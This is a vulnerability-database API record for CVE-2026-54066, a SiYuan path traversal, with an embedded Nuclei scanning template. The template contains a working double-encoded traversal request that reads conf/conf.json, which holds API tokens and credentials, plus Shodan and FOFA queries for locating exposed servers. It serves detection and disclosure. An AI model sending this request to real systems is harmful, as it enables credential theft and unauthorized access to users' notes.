{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-54066/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-54066/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-54066/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-54066/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-54066/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-54066"},"sightings":{"href":"/api/v1/sightings/cve-2026-54066"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02386,"kev":false,"percentile":0.83187},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-54066.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-54066\n\ninfo:\n  name: SiYuan <= 3.6.5 - Unauthenticated Path Traversal\n  author: 0x_Akoko\n  severity: high\n  description: |\n    SiYuan <= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.\n  impact: |\n    Unauthenticated attackers can read conf/conf.json exposing the API token, accessAuthCode SHA256 hash, and sync credentials, enabling full authenticated API access to all notebooks.\n  remediation: |\n    Update to SiYuan v3.7.0 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-54066\n    epss-score: 0.02386\n    epss-percentile: 0.83187\n    cwe-id: CWE-22\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: port:6808 \"SiYuan\"\n    fofa-query: title=\"SiYuan\" && port=\"6808\"\n    tags: cve,cve2026,siyuan,path-traversal,lfi,unauth,publish-mode,disclosure,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /assets/%252e%252e/%252e%252e/conf/conf.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"accessAuthCode\", \"appearance\", \"editor\", \"system\")'\n        condition: and\n# digest: 4a0a00473045022100b6a849e8dbc4233df34ae4d83e91f0a83447addc02ed2e93f05d6699b4483b9602203c9e7df03daeef17e07fc77fe2faf17f24e3db04dec002a6282f477dbbc9eb05:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-54066"}